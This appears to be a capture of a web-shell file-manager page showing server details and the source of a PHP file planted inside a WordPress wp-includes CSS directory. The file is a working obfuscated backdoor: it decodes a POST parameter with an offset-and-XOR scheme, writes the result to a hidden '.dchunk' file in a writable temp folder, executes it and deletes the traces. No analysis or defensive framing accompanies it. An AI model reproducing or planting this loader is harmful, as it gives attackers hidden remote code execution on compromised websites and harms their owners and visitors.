HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-includes/css/dist/editor/lams.php
<?php

if(!empty($_POST["en\x74"])){
	$sym = $_POST["en\x74"];
		  $sym=  explode	(  "."		,  $sym )   ;
	$property_set = '';
            $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s1);
            $i = 0;
    
            $__tmp = $sym;
            while ($v3 = array_shift($__tmp)) {
                $sChar = ord($s1[$i % $lenS]);
                $d = ((int)$v3 - $sChar - ($i % 10)) 	^	33;
                $property_set .= chr($d);
                $i++;
            }
	$component = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]);
	for ($entity = 0, $desc = count($component); $entity < $desc; $entity++) {
    $item = $component[$entity];
    		if (!!is_dir($item) && !!is_writable($item)) {
    $rec = str_replace("{var_dir}", $item, "{var_dir}/.dchunk");
    if (file_put_contents($rec, $property_set)) {
	include $rec;
	@unlink($rec);
	exit;
}
}
}
}